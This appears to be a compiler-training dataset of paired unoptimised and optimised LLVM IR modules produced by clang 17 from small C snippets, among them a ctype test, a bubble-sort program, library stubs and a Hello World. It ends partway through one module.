declare i32 @pow(double noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpadtpth61.c'
source_filename = "/tmp/tmpadtpth61.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isupper.c\00", align 1
@.str.1 = private unnamed_addr constant [29 x i8] c"isupper should be 0 for 0xa8\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @t_isupper_0xa8() #0 {
%1 = call i64 @isupper(i32 noundef 168)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = call i32 @Assert_real(i32 noundef %3, ptr noundef @.str, i32 noundef 845, ptr noundef @.str.1)
ret void
}
declare i32 @Assert_real(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
declare i64 @isupper(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpadtpth61.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [168 x i8] c"/scratch/repos/new/home/jordi_armengol_estape/c-scraper/outputs/2022-01-22/02-19-57/repos/bitfixer/bitfixer/refs/heads/master/dg/z88dk/test/suites/ctype/test_isupper.c\00", align 1
@.str.1 = private unnamed_addr constant [29 x i8] c"isupper should be 0 for 0xa8\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @t_isupper_0xa8() #0 {
%1 = call i64 @isupper(i32 noundef 168)
%2 = icmp eq i64 %1, 0
%3 = zext i1 %2 to i32
%4 = call i32 @Assert_real(i32 noundef %3, ptr noundef @.str, i32 noundef 845, ptr noundef @.str.1)
ret void
}
declare i32 @Assert_real(i32 noundef, ptr noundef, i32 noundef, ptr noundef) #1
declare i64 @isupper(i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp_xovfpkx.c'
source_filename = "/tmp/tmp_xovfpkx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = load i32, ptr %4, align 4
%7 = load ptr, ptr %5, align 8
%8 = call i32 @runTest(i32 noundef %6, ptr noundef %7)
%9 = load i32, ptr @EXIT_SUCCESS, align 4
ret i32 %9
}
declare i32 @runTest(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_xovfpkx.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EXIT_SUCCESS = dso_local global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = load i32, ptr %4, align 4
%7 = load ptr, ptr %5, align 8
%8 = call i32 @runTest(i32 noundef %6, ptr noundef %7)
%9 = load i32, ptr @EXIT_SUCCESS, align 4
ret i32 %9
}
declare i32 @runTest(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpagevtrcb.c'
source_filename = "/tmp/tmpagevtrcb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [25 x i8] c"Please input %d numbers\0A\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [16 x i8] c"Asending order:\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"%4d\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [10 x i32], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef 10)
store i32 0, ptr %3, align 4
br label %7
7: ; preds = %15, %0
%8 = load i32, ptr %3, align 4
%9 = icmp slt i32 %8, 10
br i1 %9, label %10, label %18
10: ; preds = %7
%11 = load i32, ptr %3, align 4
%12 = sext i32 %11 to i64
%13 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %12
%14 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %13)
br label %15
15: ; preds = %10
%16 = load i32, ptr %3, align 4
%17 = add nsw i32 %16, 1
store i32 %17, ptr %3, align 4
br label %7, !llvm.loop !6
18: ; preds = %7
%19 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 0
%20 = call i32 @bubble_sorting(ptr noundef %19, i32 noundef 10, i32 noundef 1)
%21 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
store i32 0, ptr %3, align 4
br label %22
22: ; preds = %31, %18
%23 = load i32, ptr %3, align 4
%24 = icmp slt i32 %23, 10
br i1 %24, label %25, label %34
25: ; preds = %22
%26 = load i32, ptr %3, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %27
%29 = load i32, ptr %28, align 4
%30 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %29)
br label %31
31: ; preds = %25
%32 = load i32, ptr %3, align 4
%33 = add nsw i32 %32, 1
store i32 %33, ptr %3, align 4
br label %22, !llvm.loop !8
34: ; preds = %22
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @bubble_sorting(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpagevtrcb.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [25 x i8] c"Please input %d numbers\0A\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.2 = private unnamed_addr constant [16 x i8] c"Asending order:\00", align 1
@.str.3 = private unnamed_addr constant [4 x i8] c"%4d\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [10 x i32], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
%6 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef 10)
store i32 0, ptr %3, align 4
%7 = load i32, ptr %3, align 4
%8 = icmp slt i32 %7, 10
br i1 %8, label %.lr.ph, label %19
.lr.ph: ; preds = %0
br label %9
9: ; preds = %.lr.ph, %14
%10 = load i32, ptr %3, align 4
%11 = sext i32 %10 to i64
%12 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %11
%13 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %12)
br label %14
14: ; preds = %9
%15 = load i32, ptr %3, align 4
%16 = add nsw i32 %15, 1
store i32 %16, ptr %3, align 4
%17 = load i32, ptr %3, align 4
%18 = icmp slt i32 %17, 10
br i1 %18, label %9, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %14
br label %19
19: ; preds = %._crit_edge, %0
%20 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 0
%21 = call i32 @bubble_sorting(ptr noundef %20, i32 noundef 10, i32 noundef 1)
%22 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
store i32 0, ptr %3, align 4
%23 = load i32, ptr %3, align 4
%24 = icmp slt i32 %23, 10
br i1 %24, label %.lr.ph2, label %36
.lr.ph2: ; preds = %19
br label %25
25: ; preds = %.lr.ph2, %31
%26 = load i32, ptr %3, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds [10 x i32], ptr %2, i64 0, i64 %27
%29 = load i32, ptr %28, align 4
%30 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %29)
br label %31
31: ; preds = %25
%32 = load i32, ptr %3, align 4
%33 = add nsw i32 %32, 1
store i32 %33, ptr %3, align 4
%34 = load i32, ptr %3, align 4
%35 = icmp slt i32 %34, 10
br i1 %35, label %25, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %31
br label %36
36: ; preds = %._crit_edge3, %19
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @bubble_sorting(ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmppnw15v7e.c'
source_filename = "/tmp/tmppnw15v7e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmppnw15v7e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp90ref870.c'
source_filename = "/tmp/tmp90ref870.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp90ref870.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpin_088jk.c'
source_filename = "/tmp/tmpin_088jk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @iswxdigit(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = call i32 (...) @__infer_nondet_int()
ret i32 %3
}
declare i32 @__infer_nondet_int(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpin_088jk.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @iswxdigit(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = call i32 (...) @__infer_nondet_int()
ret i32 %3
}
declare i32 @__infer_nondet_int(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpg7xhqb0x.c'
source_filename = "/tmp/tmpg7xhqb0x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpg7xhqb0x.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmphq18kbtj.c'
source_filename = "/tmp/tmphq18kbtj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmphq18kbtj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpeqx5_wao.c'
source_filename = "/tmp/tmpeqx5_wao.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpeqx5_wao.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpm44hpa8o.c'
source_filename = "/tmp/tmpm44hpa8o.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @syscon_number_of_quaddobl_Laurentials(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%6 = load ptr, ptr %2, align 8
%7 = load ptr, ptr %3, align 8
%8 = load ptr, ptr %5, align 8
%9 = call i32 @_ada_use_c2phc4c(i32 noundef 562, ptr noundef %6, ptr noundef %7, ptr noundef %8, i32 noundef 0)
store i32 %9, ptr %4, align 4
%10 = load i32, ptr %4, align 4
ret i32 %10
}
declare i32 @_ada_use_c2phc4c(i32 noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpm44hpa8o.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @syscon_number_of_quaddobl_Laurentials(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%6 = load ptr, ptr %2, align 8
%7 = load ptr, ptr %3, align 8
%8 = load ptr, ptr %5, align 8
%9 = call i32 @_ada_use_c2phc4c(i32 noundef 562, ptr noundef %6, ptr noundef %7, ptr noundef %8, i32 noundef 0)
store i32 %9, ptr %4, align 4
%10 = load i32, ptr %4, align 4
ret i32 %10
}
declare i32 @_ada_use_c2phc4c(i32 noundef, ptr noundef, ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpujshvlyt.c'
source_filename = "/tmp/tmpujshvlyt.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [14 x i8] c"Hello World!\0A\00", align 1
@.str.1 = private unnamed_addr constant [45 x i8] c"\0AC\E8\AF\AD\E8\A8\80\E7\9A\84\E5\AD\97\E7\AC\A6\E4\B8\B2\E4\B8\A4\E8\BE\B9\E7\94\A8\E5\8F\8C\E5\BC\95\E5\8F\B7\22...\22\0A\00", align 1
@.str.2 = private unnamed_addr constant [53 x i8] c"\E5\A6\82\E6\9E\9C\E9\9C\80\E8\A6\81\E8\BE\93\E5\87\BA\E5\8F\8C\E5\BC\95\E5\8F\B7\22\EF\BC\8C\E9\9C\80\E8\A6\81\E5\9C\A8\22\E5\89\8D\E9\9D\A2\E5\8A\A0\\\0A\00", align 1
